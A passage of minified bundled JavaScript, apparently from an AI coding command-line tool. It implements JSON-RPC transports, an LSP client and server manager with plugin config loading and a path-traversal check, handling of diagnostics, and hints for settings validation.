A)if(q!=="default"&&!Object.prototype.hasOwnProperty.call(K,q))$mY(K,A,q)};Object.defineProperty(XY,"__esModule",{value:!0});XY.createMessageConnection=XY.createServerSocketTransport=XY.createClientSocketTransport=XY.createServerPipeTransport=XY.createClientPipeTransport=XY.generateRandomPipeName=XY.StreamMessageWriter=XY.StreamMessageReader=XY.SocketMessageWriter=XY.SocketMessageReader=XY.PortMessageWriter=XY.PortMessageReader=XY.IPCMessageWriter=XY.IPCMessageReader=void 0;var uWA=iT7();uWA.default.install();var nT7=CA("path"),GmY=CA("os"),ZmY=CA("crypto"),FG1=CA("net"),qv=mG1();_mY(mG1(),XY);class oT7 extends qv.AbstractMessageReader{constructor(A){super();this.process=A;let K=this.process;K.on("error",(q)=>this.fireError(q)),K.on("close",()=>this.fireClose())}listen(A){return this.process.on("message",A),qv.Disposable.create(()=>this.process.off("message",A))}}XY.IPCMessageReader=oT7;class aT7 extends qv.AbstractMessageWriter{constructor(A){super();this.process=A,this.errorCount=0;let K=this.process;K.on("error",(q)=>this.fireError(q)),K.on("close",()=>this.fireClose)}write(A){try{if(typeof this.process.send==="function")this.process.send(A,void 0,void 0,(K)=>{if(K)this.errorCount++,this.handleError(K,A);else this.errorCount=0});return Promise.resolve()}catch(K){return this.handleError(K,A),Promise.reject(K)}}handleError(A,K){this.errorCount++,this.fireError(A,K,this.errorCount)}end(){}}XY.IPCMessageWriter=aT7;class sT7 extends qv.AbstractMessageReader{constructor(A){super();this.onData=new qv.Emitter,A.on("close",()=>this.fireClose),A.on("error",(K)=>this.fireError(K)),A.on("message",(K)=>{this.onData.fire(K)})}listen(A){return this.onData.event(A)}}XY.PortMessageReader=sT7;class tT7 extends qv.AbstractMessageWriter{constructor(A){super();this.port=A,this.errorCount=0,A.on("close",()=>this.fireClose()),A.on("error",(K)=>this.fireError(K))}write(A){try{return this.port.postMessage(A),Promise.resolve()}catch(K){return this.handleError(K,A),Promise.reject(K)}}handleError(A,K){this.errorCount++,this.fireError(A,K,this.errorCount)}end(){}}XY.PortMessageWriter=tT7;class BWA extends qv.ReadableStreamMessageReader{constructor(A,K="utf-8"){super((0,uWA.default)().stream.asReadableStream(A),K)}}XY.SocketMessageReader=BWA;class mWA extends qv.WriteableStreamMessageWriter{constructor(A,K){super((0,uWA.default)().stream.asWritableStream(A),K);this.socket=A}dispose(){super.dispose(),this.socket.destroy()}}XY.SocketMessageWriter=mWA;class Of6 extends qv.ReadableStreamMessageReader{constructor(A,K){super((0,uWA.default)().stream.asReadableStream(A),K)}}XY.StreamMessageReader=Of6;class Xf6 extends qv.WriteableStreamMessageWriter{constructor(A,K){super((0,uWA.default)().stream.asWritableStream(A),K)}}XY.StreamMessageWriter=Xf6;var rT7=process.env.XDG_RUNTIME_DIR,WmY=new Map([["linux",107],["darwin",103]]);function DmY(){let A=(0,ZmY.randomBytes)(21).toString("hex");if(process.platform==="win32")return`\\\\.\\pipe\\vscode-jsonrpc-${A}-sock`;let K;if(rT7)K=nT7.join(rT7,`vscode-ipc-${A}.sock`);else K=nT7.join(GmY.tmpdir(),`vscode-${A}.sock`);let q=WmY.get(process.platform);if(q!==void 0&&K.length>q)(0,uWA.default)().console.warn(`WARNING: IPC handle "${K}" is longer than ${q} characters.`);return K}XY.generateRandomPipeName=DmY;function jmY(A,K="utf-8"){let q,Y=new Promise((z,w)=>{q=z});return new Promise((z,w)=>{let H=(0,FG1.createServer)((J)=>{H.close(),q([new BWA(J,K),new mWA(J,K)])});H.on("error",w),H.listen(A,()=>{H.removeListener("error",w),z({onConnected:()=>{return Y}})})})}XY.createClientPipeTransport=jmY;function MmY(A,K="utf-8"){let q=(0,FG1.createConnection)(A);return[new BWA(q,K),new mWA(q,K)]}XY.createServerPipeTransport=MmY;function PmY(A,K="utf-8"){let q,Y=new Promise((z,w)=>{q=z});return new Promise((z,w)=>{let H=(0,FG1.createServer)((J)=>{H.close(),q([new BWA(J,K),new mWA(J,K)])});H.on("error",w),H.listen(A,"127.0.0.1",()=>{H.removeListener("error",w),z({onConnected:()=>{return Y}})})})}XY.createClientSocketTransport=PmY;function VmY(A,K="utf-8"){let q=(0,FG1.createConnection)(A,"127.0.0.1");return[new BWA(q,K),new mWA(q,K)]}XY.createServerSocketTransport=VmY;function fmY(A){let K=A;return K.read!==void 0&&K.addListener!==void 0}function NmY(A){let K=A;return K.write!==void 0&&K.addListener!==void 0}function TmY(A,K,q,Y){if(!q)q=qv.NullLogger;let z=fmY(A)?new Of6(A):A,w=NmY(K)?new Xf6(K):K;if(qv.ConnectionStrategy.is(Y))Y={connectionStrategy:Y};return(0,qv.createMessageConnection)(z,w,q,Y)}XY.createMessageConnection=TmY});import{spawn as vmY}from"child_process";function Av7(A){let K,q,Y,z=!1,w=!1,H,J=!1,O=[],X=[];function $(){if(w)throw H||Error(`LSP server ${A} failed to start`)}return{get capabilities(){return Y},get isInitialized(){return z},async start(_,G,Z){try{if(K=vmY(_,G,{stdio:["pipe","pipe","pipe"],env:Z?.env?{...globalThis.process.env,...Z.env}:void 0,cwd:Z?.cwd}),!K.stdout||!K.stdin)throw Error("LSP server process stdio not available");let W=K;if(await new Promise((M,P)=>{let f=()=>{T(),M()},N=(C)=>{T(),P(C)},T=()=>{W.removeListener("spawn",f),W.removeListener("error",N)};W.once("spawn",f),W.once("error",N)}),K.stderr)K.stderr.on("data",(M)=>{let P=M.toString().trim();if(P)h(`[LSP SERVER ${A}] ${P}`)});K.on("error",(M)=>{if(!J)w=!0,H=M,KA(Error(`LSP server ${A} failed to start: ${M.message}`))}),K.on("exit",(M,P)=>{if(M!==0&&M!==null&&!J)z=!1,w=!1,H=void 0,KA(Error(`LSP server ${A} crashed with exit code ${M}`))}),K.stdin.on("error",(M)=>{if(!J)h(`LSP server ${A} stdin error: ${M.message}`)});let D=new _s.StreamMessageReader(K.stdout),j=new _s.StreamMessageWriter(K.stdin);q=_s.createMessageConnection(D,j),q.onError(([M,P,f])=>{if(!J)w=!0,H=M,KA(Error(`LSP server ${A} connection error: ${M.message}`))}),q.onClose(()=>{if(!J)z=!1,h(`LSP server ${A} connection closed`)}),q.listen(),q.trace(_s.Trace.Verbose,{log:(M)=>{h(`[LSP PROTOCOL ${A}] ${M}`)}}).catch((M)=>{h(`Failed to enable tracing for ${A}: ${M.message}`)});for(let{method:M,handler:P}of O)q.onNotification(M,P),h(`Applied queued notification handler for ${A}.${M}`);O.length=0;for(let{method:M,handler:P}of X)q.onRequest(M,P),h(`Applied queued request handler for ${A}.${M}`);X.length=0,h(`LSP client started for ${A}`)}catch(W){throw KA(Error(`LSP server ${A} failed to start: ${W.message}`)),W}},async initialize(_){if(!q)throw Error("LSP client not started");$();try{let G=await q.sendRequest("initialize",_);return Y=G.capabilities,await q.sendNotification("initialized",{}),z=!0,h(`LSP server ${A} initialized`),G}catch(G){throw KA(Error(`LSP server ${A} initialize failed: ${G.message}`)),G}},async sendRequest(_,G){if(!q)throw Error("LSP client not started");if($(),!z)throw Error("LSP server not initialized");try{return await q.sendRequest(_,G)}catch(Z){throw KA(Error(`LSP server ${A} request ${_} failed: ${Z.message}`)),Z}},async sendNotification(_,G){if(!q)throw Error("LSP client not started");$();try{await q.sendNotification(_,G)}catch(Z){KA(Error(`LSP server ${A} notification ${_} failed: ${Z.message}`)),h(`Notification ${_} failed but continuing`)}},onNotification(_,G){if(!q){O.push({method:_,handler:G}),h(`Queued notification handler for ${A}.${_} (connection not ready)`);return}$(),q.onNotification(_,G)},onRequest(_,G){if(!q){X.push({method:_,handler:G}),h(`Queued request handler for ${A}.${_} (connection not ready)`);return}$(),q.onRequest(_,G)},async stop(){let _;J=!0;try{if(q)await q.sendRequest("shutdown",null),await q.sendNotification("exit",null)}catch(G){let Z=G;KA(Error(`LSP server ${A} stop failed: ${Z.message}`)),_=Z}finally{if(q){try{q.dispose()}catch(G){h(`Connection disposal failed for ${A}: ${G.message}`)}q=void 0}if(K){if(K.removeAllListeners("error"),K.removeAllListeners("exit"),K.stdin)K.stdin.removeAllListeners("error");if(K.stderr)K.stderr.removeAllListeners("data");try{K.kill()}catch(G){h(`Process kill failed for ${A} (may already be dead): ${G.message}`)}K=void 0}if(z=!1,Y=void 0,J=!1,_)w=!0,H=_;h(`LSP client stopped for ${A}`)}if(_)throw _}}}var _s;var Kv7=k(()=>{C1();Z1();_s=o(eT7(),1)});import*as qv7 from"path";function Yv7(A,K){if(K.restartOnCrash!==void 0)throw Error(`LSP server '${A}': restartOnCrash is not yet implemented. Remove this field from the configuration.`);if(K.startupTimeout!==void 0)throw Error(`LSP server '${A}': startupTimeout is not yet implemented. Remove this field from the configuration.`);if(K.shutdownTimeout!==void 0)throw Error(`LSP server '${A}': shutdownTimeout is not yet implemented. Remove this field from the configuration.`);let q=Av7(A),Y="stopped",z,w,H=0;async function J(){if(Y==="running"||Y==="starting")return;try{Y="starting",h(`Starting LSP server instance: ${A}`),await q.start(K.command,K.args||[],{env:K.env,cwd:K.workspaceFolder});let D=K.workspaceFolder||x1(),j=`file://${D}`,M={processId:process.pid,initializationOptions:K.initializationOptions??{},workspaceFolders:[{uri:j,name:qv7.basename(D)}],rootPath:D,rootUri:j,capabilities:{workspace:{configuration:!1,workspaceFolders:!1},textDocument:{synchronization:{dynamicRegistration:!1,willSave:!1,willSaveWaitUntil:!1,didSave:!0},publishDiagnostics:{relatedInformation:!0,tagSupport:{valueSet:[1,2]},versionSupport:!1,codeDescriptionSupport:!0,dataSupport:!1},hover:{dynamicRegistration:!1,contentFormat:["markdown","plaintext"]},definition:{dynamicRegistration:!1,linkSupport:!0},references:{dynamicRegistration:!1},documentSymbol:{dynamicRegistration:!1,hierarchicalDocumentSymbolSupport:!0},callHierarchy:{dynamicRegistration:!1}},general:{positionEncodings:["utf-16"]}}};await q.initialize(M),Y="running",z=new Date,h(`LSP server instance started: ${A}`)}catch(D){throw Y="error",w=D,KA(D),D}}async function O(){if(Y==="stopped"||Y==="stopping")return;try{Y="stopping",await q.stop(),Y="stopped",h(`LSP server instance stopped: ${A}`)}catch(D){throw Y="error",w=D,KA(D),D}}async function X(){try{await O()}catch(j){let M=Error(`Failed to stop LSP server '${A}' during restart: ${j.message}`);throw KA(M),M}H++;let D=K.maxRestarts??3;if(H>D){let j=Error(`Max restart attempts (${D}) exceeded for server '${A}'`);throw KA(j),j}try{await J()}catch(j){let M=Error(`Failed to start LSP server '${A}' during restart (attempt ${H}/${D}): ${j.message}`);throw KA(M),M}}function $(){return Y==="running"&&q.isInitialized}async function _(D,j){if(!$()){let f=Error(`Cannot send request to LSP server '${A}': server is ${Y}${w?`, last error: ${w.message}`:""}`);throw KA(f),f}let M;for(let f=0;f<=$f6;f++)try{return await q.sendRequest(D,j)}catch(N){M=N;let T=N.code;if(typeof T==="number"&&T===EmY&&f<$f6){let R=kmY*Math.pow(2,f);h(`LSP request '${D}' to '${A}' got ContentModified error, retrying in ${R}ms (attempt ${f+1}/${$f6})…`),await new Promise((x)=>setTimeout(x,R));continue}break}let P=Error(`LSP request '${D}' failed for server '${A}': ${M?.message??"unknown error"}`);throw KA(P),P}async function G(D,j){if(!$()){let M=Error(`Cannot send notification to LSP server '${A}': server is ${Y}`);throw KA(M),M}try{await q.sendNotification(D,j)}catch(M){let P=Error(`LSP notification '${D}' failed for server '${A}': ${M.message}`);throw KA(P),P}}function Z(D,j){q.onNotification(D,j)}function W(D,j){q.onRequest(D,j)}return{name:A,config:K,get state(){return Y},get startTime(){return z},get lastError(){return w},get restartCount(){return H},start:J,stop:O,restart:X,isHealthy:$,sendRequest:_,sendNotification:G,onNotification:Z,onRequest:W}}var EmY=-32801,$f6=3,kmY=500;var zv7=k(()=>{Kv7();C1();Z1();y4()});import{readFile as wv7}from"fs/promises";import{join as CmY,resolve as _f6,relative as LmY}from"path";function RmY(A,K){let q=_f6(A),Y=_f6(A,K),z=LmY(q,Y);if(z.startsWith("..")||_f6(z)===z)return null;return Y}async function ymY(A,K=[]){let q={},Y=CmY(A.path,".lsp.json");try{let z=await wv7(Y,"utf-8"),w=G6(z),H=U.record(U.string(),P$A).safeParse(w);if(H.success)Object.assign(q,H.data);else{let J=`LSP config validation failed for .lsp.json in plugin ${A.name}: ${H.error.message}`;KA(Error(J)),K.push({type:"lsp-config-invalid",plugin:A.name,serverName:".lsp.json",validationError:H.error.message,source:"plugin"})}}catch(z){if(z.code!=="ENOENT"){let w=z instanceof Error?`Failed to read/parse .lsp.json in plugin ${A.name}: ${z.message}`:`Failed to read/parse .lsp.json file in plugin ${A.name}`;KA(z instanceof Error?z:Error(w)),K.push({type:"lsp-config-invalid",plugin:A.name,serverName:".lsp.json",validationError:z instanceof Error?`Failed to parse JSON: ${z.message}`:"Failed to parse JSON file",source:"plugin"})}}if(A.manifest.lspServers){let z=await ImY(A.manifest.lspServers,A.path,A.name,K);if(z)Object.assign(q,z)}return Object.keys(q).length>0?q:void 0}async function ImY(A,K,q,Y){let z={},w=Array.isArray(A)?A:[A];for(let H of w)if(typeof H==="string"){let J=RmY(K,H);if(!J){let O=`Security: Path traversal attempt blocked in plugin ${q}: ${H}`;KA(Error(O)),h(O,{level:"warn"}),Y.push({type:"lsp-config-invalid",plugin:q,serverName:H,validationError:"Invalid path: must be relative and within plugin directory",source:"plugin"});continue}try{let O=await wv7(J,"utf-8"),X=G6(O),$=U.record(U.string(),P$A).safeParse(X);if($.success)Object.assign(z,$.data);else{let _=`LSP config validation failed for ${H} in plugin ${q}: ${$.error.message}`;KA(Error(_)),Y.push({type:"lsp-config-invalid",plugin:q,serverName:H,validationError:$.error.message,source:"plugin"})}}catch(O){let X=O instanceof Error?`Failed to read/parse LSP config from ${H} in plugin ${q}: ${O.message}`:`Failed to read/parse LSP config file ${H} in plugin ${q}`;KA(O instanceof Error?O:Error(X)),Y.push({type:"lsp-config-invalid",plugin:q,serverName:H,validationError:O instanceof Error?`Failed to parse JSON: ${O.message}`:"Failed to parse JSON file",source:"plugin"})}}else for(let[J,O]of Object.entries(H)){let X=P$A.safeParse(O);if(X.success)z[J]=X.data;else{let $=`LSP config validation failed for inline server "${J}" in plugin ${q}: ${X.error.message}`;KA(Error($)),Y.push({type:"lsp-config-invalid",plugin:q,serverName:J,validationError:X.error.message,source:"plugin"})}}return Object.keys(z).length>0?z:void 0}function SmY(A,K){return A.replace(/\$\{CLAUDE_PLUGIN_ROOT\}/g,K)}function hmY(A,K,q){let Y=[],z=(J)=>{let O=SmY(J,K),{expanded:X,missingVars:$}=DZA(O);return Y.push(...$),X},w={...A};if(w.command)w.command=z(w.command);if(w.args)w.args=w.args.map((J)=>z(J));let H={CLAUDE_PLUGIN_ROOT:K,...w.env||{}};for(let[J,O]of Object.entries(H))if(J!=="CLAUDE_PLUGIN_ROOT")H[J]=z(O);if(w.env=H,w.workspaceFolder)w.workspaceFolder=z(w.workspaceFolder);if(Y.length>0){let O=`Missing environment variables in plugin LSP config: ${[...new Set(Y)].join(", ")}`;KA(Error(O)),h(O,{level:"warn"})}return w}function bmY(A,K){let q={};for(let[Y,z]of Object.entries(A)){let w=`plugin:${K}:${Y}`;q[w]={...z,scope:"dynamic",source:K}}return q}async function Hv7(A,K=[]){if(!A.enabled)return;let q=A.lspServers||await ymY(A,K);if(!q)return;let Y={};for(let[z,w]of Object.entries(q))Y[z]=hmY(w,A.path,K);return bmY(Y,A.name)}var Jv7=k(()=>{ID();z7();Z1();C1();b1()});async function Ov7(){let A={};try{let{enabled:K}=await SY();for(let q of K){let Y=[],z=await Hv7(q,Y);if(z&&Object.keys(z).length>0)Object.assign(A,z),h(`Loaded ${Object.keys(z).length} LSP server(s) from plugin: ${q.name}`);if(Y.length>0)h(`${Y.length} error(s) loading LSP servers from plugin: ${q.name}`)}h(`Total LSP servers loaded: ${Object.keys(A).length}`)}catch(K){KA(K instanceof Error?K:Error(`Failed to load LSP servers: ${String(K)}`)),h(`Error loading LSP servers: ${K instanceof Error?K.message:String(K)}`)}return{servers:A}}var Xv7=k(()=>{s0();Jv7();Z1();C1()});import*as Bp from"path";function $v7(){let A=new Map,K=new Map,q=new Map;async function Y(){let W;try{W=(await Ov7()).servers,h(`[LSP SERVER MANAGER] getAllLspServers returned ${Object.keys(W).length} server(s)`)}catch(D){throw KA(Error(`Failed to load LSP server configuration: ${D.message}`)),D}for(let[D,j]of Object.entries(W))try{if(!j.command)throw Error(`Server ${D} missing required 'command' field`);if(!j.extensionToLanguage||Object.keys(j.extensionToLanguage).length===0)throw Error(`Server ${D} missing required 'extensionToLanguage' field`);let M=Object.keys(j.extensionToLanguage);for(let f of M){let N=f.toLowerCase();if(!K.has(N))K.set(N,[]);let T=K.get(N);if(T)T.push(D)}let P=Yv7(D,j);A.set(D,P),P.onRequest("workspace/configuration",(f)=>{return h(`LSP: Received workspace/configuration request from ${D}`),f.items.map(()=>null)}),P.start().catch((f)=>{KA(Error(`Failed to start LSP server ${D}: ${f.message}`))})}catch(M){KA(Error(`Failed to initialize LSP server ${D}: ${M.message}`))}h(`LSP manager initialized with ${A.size} servers`)}async function z(){let W=[];for(let[D,j]of A.entries())if(j.state==="running")try{await j.stop()}catch(M){let P=M;KA(Error(`Failed to stop LSP server ${D}: ${P.message}`)),W.push(P)}if(A.clear(),K.clear(),q.clear(),W.length>0){let D=Error(`Failed to stop ${W.length} LSP server(s): ${W.map((j)=>j.message).join("; ")}`);throw KA(D),D}}function w(W){let D=Bp.extname(W).toLowerCase(),j=K.get(D);if(!j||j.length===0)return;let M=j[0];if(!M)return;return A.get(M)}async function H(W){let D=w(W);if(!D)return;if(D.state==="stopped")try{await D.start()}catch(j){throw KA(Error(`Failed to start LSP server for file ${W}: ${j.message}`)),j}return D}async function J(W,D,j){let M=await H(W);if(!M)return;try{return await M.sendRequest(D,j)}catch(P){throw KA(Error(`LSP request failed for file ${W}, method '${D}': ${P.message}`)),P}}function O(){return A}async function X(W,D){let j=await H(W);if(!j)return;let M=`file://${Bp.resolve(W)}`;if(q.get(M)===j.name){h(`LSP: File already open, skipping didOpen for ${W}`);return}let P=Bp.extname(W).toLowerCase(),f=j.config.extensionToLanguage[P]||"plaintext";try{await j.sendNotification("textDocument/didOpen",{textDocument:{uri:M,languageId:f,version:1,text:D}}),q.set(M,j.name),h(`LSP: Sent didOpen for ${W} (languageId: ${f})`)}catch(N){let T=Error(`Failed to sync file open ${W}: ${N.message}`);throw KA(T),T}}async function $(W,D){let j=w(W);if(!j||j.state!=="running")return X(W,D);let M=`file://${Bp.resolve(W)}`;if(q.get(M)!==j.name)return X(W,D);try{await j.sendNotification("textDocument/didChange",{textDocument:{uri:M,version:1},contentChanges:[{text:D}]}),h(`LSP: Sent didChange for ${W}`)}catch(P){let f=Error(`Failed to sync file change ${W}: ${P.message}`);throw KA(f),f}}async function _(W){let D=w(W);if(!D||D.state!=="running")return;try{await D.sendNotification("textDocument/didSave",{textDocument:{uri:`file://${Bp.resolve(W)}`}}),h(`LSP: Sent didSave for ${W}`)}catch(j){let M=Error(`Failed to sync file save ${W}: ${j.message}`);throw KA(M),M}}async function G(W){let D=w(W);if(!D||D.state!=="running")return;let j=`file://${Bp.resolve(W)}`;try{await D.sendNotification("textDocument/didClose",{textDocument:{uri:j}}),q.delete(j),h(`LSP: Sent didClose for ${W}`)}catch(M){let P=Error(`Failed to sync file close ${W}: ${M.message}`);throw KA(P),P}}function Z(W){let D=`file://${Bp.resolve(W)}`;return q.has(D)}return{initialize:Y,shutdown:z,getServerForFile:w,ensureServerStarted:H,sendRequest:J,getAllServers:O,openFile:X,changeFile:$,saveFile:_,closeFile:G,isFileOpen:Z}}var _v7=k(()=>{zv7();Xv7();Z1();C1()});import{randomUUID as xmY}from"crypto";function Wv7({serverName:A,files:K}){let q=xmY();h(`LSP Diagnostics: Registering ${K.length} diagnostic file(s) from ${A} (ID: ${q})`),hmA.set(q,{serverName:A,files:K,timestamp:Date.now(),attachmentSent:!1})}function Zv7(A){switch(A){case"Error":return 1;case"Warning":return 2;case"Info":return 3;case"Hint":return 4;default:return 4}}function Dv7(A){return UA({message:A.message,severity:A.severity,range:A.range,source:A.source||null,code:A.code||null})}function BmY(A){let K=new Map,q=[];for(let Y of A){if(!K.has(Y.uri))K.set(Y.uri,new Set),q.push({uri:Y.uri,diagnostics:[]});let z=K.get(Y.uri),w=q.find((J)=>J.uri===Y.uri),H=gWA.get(Y.uri)||new Set;for(let J of Y.diagnostics)try{let O=Dv7(J);if(z.has(O)||H.has(O))continue;z.add(O),w.diagnostics.push(J)}catch(O){let X=O instanceof Error?O:Error(String(O)),$=J.message?.substring(0,100)||"<no message>";KA(Error(`Failed to deduplicate diagnostic in ${Y.uri}: ${X.message}. Diagnostic message: ${$}`)),w.diagnostics.push(J)}}return q.filter((Y)=>Y.diagnostics.length>0)}function jv7(){h(`LSP Diagnostics: Checking registry - ${hmA.size} pending`);let A=[],K=new Set,q=[];for(let X of hmA.values())if(!X.attachmentSent)A.push(...X.files),K.add(X.serverName),q.push(X);if(A.length===0)return[];let Y;try{Y=BmY(A)}catch(X){let $=X instanceof Error?X:Error(String(X));KA(Error(`Failed to deduplicate LSP diagnostics: ${$.message}`)),Y=A}for(let X of q)X.attachmentSent=!0;let z=A.reduce((X,$)=>X+$.diagnostics.length,0),w=Y.reduce((X,$)=>X+$.diagnostics.length,0);if(z>w)h(`LSP Diagnostics: Deduplication removed ${z-w} duplicate diagnostic(s)`);let H=0,J=0;for(let X of Y){if(X.diagnostics.sort((_,G)=>Zv7(_.severity)-Zv7(G.severity)),X.diagnostics.length>QG1)J+=X.diagnostics.length-QG1,X.diagnostics=X.diagnostics.slice(0,QG1);let $=Gv7-H;if(X.diagnostics.length>$)J+=X.diagnostics.length-$,X.diagnostics=X.diagnostics.slice(0,$);H+=X.diagnostics.length}if(Y=Y.filter((X)=>X.diagnostics.length>0),J>0)h(`LSP Diagnostics: Volume limiting removed ${J} diagnostic(s) (max ${QG1}/file, ${Gv7} total)`);for(let X of Y){if(!gWA.has(X.uri))gWA.set(X.uri,new Set);let $=gWA.get(X.uri);for(let _ of X.diagnostics)try{$.add(Dv7(_))}catch(G){let Z=G instanceof Error?G:Error(String(G)),W=_.message?.substring(0,100)||"<no message>";KA(Error(`Failed to track delivered diagnostic in ${X.uri}: ${Z.message}. Diagnostic message: ${W}`))}}let O=Y.reduce((X,$)=>X+$.diagnostics.length,0);if(O===0)return h("LSP Diagnostics: No new diagnostics to deliver (all filtered by deduplication)"),[];return h(`LSP Diagnostics: Delivering ${Y.length} file(s) with ${O} diagnostic(s) from ${K.size} server(s)`),[{serverName:Array.from(K).join(", "),files:Y}]}function Mv7(){h(`LSP Diagnostics: Clearing ${hmA.size} pending diagnostic(s)`),hmA.clear()}function UG1(A){if(gWA.has(A))h(`LSP Diagnostics: Clearing delivered diagnostics for ${A}`),gWA.delete(A)}var QG1=10,Gv7=30,umY=500,hmA,gWA;var bmA=k(()=>{Z1();C1();$yA();b1();hmA=new Map,gWA=new Ty({max:umY})});import{fileURLToPath as mmY}from"url";function gmY(A){switch(A){case 1:return"Error";case 2:return"Warning";case 3:return"Info";case 4:return"Hint";default:return"Error"}}function FmY(A){let K;try{K=A.uri.startsWith("file://")?mmY(A.uri):A.uri}catch(Y){let z=Y instanceof Error?Y:Error(String(Y));KA(z),h(`Failed to convert URI to file path: ${A.uri}. Error: ${z.message}. Using original URI as fallback.`),K=A.uri}let q=A.diagnostics.map((Y)=>({message:Y.message,severity:gmY(Y.severity),range:{start:{line:Y.range.start.line,character:Y.range.start.character},end:{line:Y.range.end.line,character:Y.range.end.character}},source:Y.source,code:Y.code!==void 0&&Y.code!==null?String(Y.code):void 0}));return[{uri:K,diagnostics:q}]}function Pv7(A){let K=A.getAllServers(),q=[],Y=0,z=new Map;for(let[H,J]of K.entries())try{if(!J||typeof J.onNotification!=="function"){let O=!J?"Server instance is null/undefined":"Server instance has no onNotification method";q.push({serverName:H,error:O});let X=Error(`${O} for ${H}`);KA(X),h(`Skipping handler registration for ${H}: ${O}`);continue}J.onNotification("textDocument/publishDiagnostics",async(O)=>{h(`[PASSIVE DIAGNOSTICS] Handler invoked for ${H}! Params type: ${typeof O}`);try{if(!O||typeof O!=="object"||!("uri"in O)||!("diagnostics"in O)){let G=Error(`LSP server ${H} sent invalid diagnostic params (missing uri or diagnostics)`);KA(G),h(`Invalid diagnostic params from ${H}: ${UA(O)}`);return}let X=O;h(`Received diagnostics from ${H}: ${X.diagnostics.length} diagnostic(s) for ${X.uri}`);let $=FmY(X),_=$[0];if(!_||$.length===0||_.diagnostics.length===0){h(`Skipping empty diagnostics from ${H} for ${X.uri}`);return}try{Wv7({serverName:H,files:$}),h(`LSP Diagnostics: Registered ${$.length} diagnostic file(s) from ${H} for async delivery`),z.delete(H)}catch(G){let Z=G instanceof Error?G:Error(`Failed to register LSP diagnostics: ${String(G)}`);KA(Z),h(`Error registering LSP diagnostics from ${H}: URI: ${X.uri}, Diagnostic count: ${_.diagnostics.length}, Error: ${Z.message}`);let W=z.get(H)||{count:0,lastError:""};if(W.count++,W.lastError=Z.message,z.set(H,W),W.count>=3)h(`WARNING: LSP diagnostic handler for ${H} has failed ${W.count} times consecutively. Last error: ${W.lastError}. This may indicate a problem with the LSP server or diagnostic processing. Check logs for details.`)}}catch(X){let $=X instanceof Error?X:Error(`Unexpected error in diagnostic handler: ${String(X)}`);KA($),h(`Unexpected error processing diagnostics from ${H}: ${$.message}`);let _=z.get(H)||{count:0,lastError:""};if(_.count++,_.lastError=$.message,z.set(H,_),_.count>=3)h(`WARNING: LSP diagnostic handler for ${H} has failed ${_.count} times consecutively. Last error: ${_.lastError}. This may indicate a problem with the LSP server or diagnostic processing. Check logs for details.`)}}),h(`Registered diagnostics handler for ${H}`),Y++}catch(O){let X=O instanceof Error?O:Error(`Handler registration failed: ${String(O)}`);q.push({serverName:H,error:X.message}),KA(X),h(`Failed to register diagnostics handler for ${H}: Error: ${X.message}`)}let w=K.size;if(q.length>0){let H=q.map((J)=>`${J.serverName} (${J.error})`).join(", ");KA(Error(`Failed to register diagnostics for ${q.length} LSP server(s): ${H}`)),h(`LSP notification handler registration: ${Y}/${w} succeeded. Failed servers: ${H}. Diagnostics from failed servers will not be delivered.`)}else h(`LSP notification handlers registered successfully for all ${w} server(s)`);return{totalServers:w,successCount:Y,registrationErrors:q,diagnosticFailures:z}}var Vv7=k(()=>{b1();bmA();Z1();C1()});function mp(){if(Yv==="failed")return;return sI}function w5A(){if(Yv==="failed")return{status:"failed",error:dG1||Error("Initialization failed")};if(Yv==="not-started")return{status:"not-started"};if(Yv==="pending")return{status:"pending"};return{status:"success"}}async function fv7(){if(Yv==="success"||Yv==="failed")return;if(Yv==="pending"&&cG1)await cG1}function Nv7(){if(h("[LSP MANAGER] initializeLspServerManager() called"),sI!==void 0&&Yv!=="failed"){h("[LSP MANAGER] Already initialized or initializing, skipping");return}if(Yv==="failed")sI=void 0,dG1=void 0;sI=$v7(),Yv="pending",h("[LSP MANAGER] Created manager instance, state=pending");let A=++pG1;h(`[LSP MANAGER] Starting async initialization (generation ${A})`),cG1=sI.initialize().then(()=>{if(A===pG1){if(Yv="success",h("LSP server manager initialized successfully"),sI)Pv7(sI)}}).catch((K)=>{if(A===pG1)Yv="failed",dG1=K,sI=void 0,KA(K),h(`Failed to initialize LSP server manager: ${K instanceof Error?K.message:String(K)}`)})}async function Tv7(){if(sI===void 0)return;try{await sI.shutdown(),h("LSP server manager shut down successfully")}catch(A){KA(A),h(`Failed to shutdown LSP server manager: ${A instanceof Error?A.message:String(A)}`)}finally{sI=void 0,Yv="not-started",dG1=void 0,cG1=void 0,pG1++}}var sI,Yv="not-started",dG1,pG1=0,cG1;var Gs=k(()=>{_v7();Vv7();Z1();C1()});var vv7,Gf6,Ev7;var Zf6=k(()=>{z7();vv7=U.strictObject({file_path:U.string().describe("The absolute path to the file to modify"),old_string:U.string().describe("The text to replace"),new_string:U.string().describe("The text to replace it with (must be different from old_string)"),replace_all:U.boolean().default(!1).optional().describe("Replace all occurences of old_string (default false)")}),Gf6=U.object({oldStart:U.number(),oldLines:U.number(),newStart:U.number(),newLines:U.number(),lines:U.array(U.string())}),Ev7=U.object({filePath:U.string().describe("The file path that was edited"),oldString:U.string().describe("The original string that was replaced"),newString:U.string().describe("The new string that replaced it"),originalFile:U.string().describe("The original file contents before editing"),structuredPatch:U.array(Gf6).describe("Diff patch showing the changes"),userModified:U.boolean().describe("Whether the user modified the proposed changes"),replaceAll:U.boolean().describe("Whether all occurrences were replaced"),gitDiff:U.object({filename:U.string(),status:U.enum(["modified","added"]),additions:U.number(),deletions:U.number(),changes:U.number(),patch:U.string()}).optional()})});function kv7(A){let K=QmY.find((Y)=>Y.matches(A));if(!K)return null;let q={...K.tip};if(A.code==="invalid_value"&&A.enumValues&&!q.suggestion)q.suggestion=`Valid values: ${A.enumValues.map((Y)=>`"${Y}"`).join(", ")}`;if(!q.docLink&&A.path){let Y=A.path.split(".")[0];if(Y)q.docLink=UmY[Y]}return q}var QmY,UmY;var Cv7=k(()=>{QmY=[{matches:(A)=>A.path==="permissions.defaultMode"&&A.code==="invalid_value",tip:{suggestion:'Valid modes: "acceptEdits" (ask before file changes), "plan" (analysis only), "bypassPermissions" (auto-accept all), or "default" (standard behavior)',docLink:"https://code.claude.com/docs/en/iam#permission-modes"}},{matches:(A)=>A.path==="apiKeyHelper"&&A.code==="invalid_type",tip:{suggestion:'Provide a shell command that outputs your API key to stdout. The script should output only the API key. Example: "/bin/generate_temp_api_key.sh"'}},{matches:(A)=>A.path==="cleanupPeriodDays"&&A.code==="too_small"&&A.expected==="0",tip:{suggestion:"Must be 0 or greater. Use 0 to disable automatic cleanup and keep chat transcripts forever, or set a positive number for days to retain (default is 30 